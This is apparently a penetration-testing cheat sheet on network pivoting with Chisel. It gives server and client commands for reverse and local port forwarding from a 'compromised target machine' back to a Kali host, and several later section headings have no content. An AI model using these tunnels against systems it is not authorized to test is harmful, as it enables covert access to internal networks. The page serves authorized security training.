Pivoting / Network
Pivoting, Tunneling, and Port Forwarding
Chisel Basic
Reverse Port Forwarding (Remote Port Forwarding)
# From Kali, I want to access to a service (port 8001) on a compromised target machine.
# Kali
./chisel server --port 9999 --reverse &
# Target Machine (R:(kali-ip:)kali-port:target-ip:port)
./chisel client Kali-ip:9999 R:8001:127.0.0.1:8001 &
# Kali
Connect(Browse,etc.) to 127.0.0.1:8001 on KaliPort Forwarding (Local Port Forwarding)
# From Kali, I want to access to a service (port 8001) on a compromised target machine.
# Target Machine
./chisel server --port 9999 --socks5 &
# Kali (kali-ip:kali-port:target-ip:target-port)
./chisel client Target-ip:9999 127.0.0.1:8001:127.0.0.1:8001 &
# Kali
Connect(Browse,etc.) to 127.0.0.1:8001 on KaliReverse Dynamic SOCKS Proxy
Forward Dynamic SOCKS Proxy
Chisel Tips
Port Forwarding (Local Port Forwarding) - External Access
Reverse Dynamic SOCKS Proxy - Very simple configuration
Reverse Port Forwarding - Two ports forwarding
Reverse Port Forwarding - Double pivot
Some uncommon network situation such as a docker with mutiple IP addresses that not being connected from one IP address back to Kali machine, but can be connected to one of the IP addresses on the target machine - see below.
Proxychain applications
SSH
Meterpreter
Last updated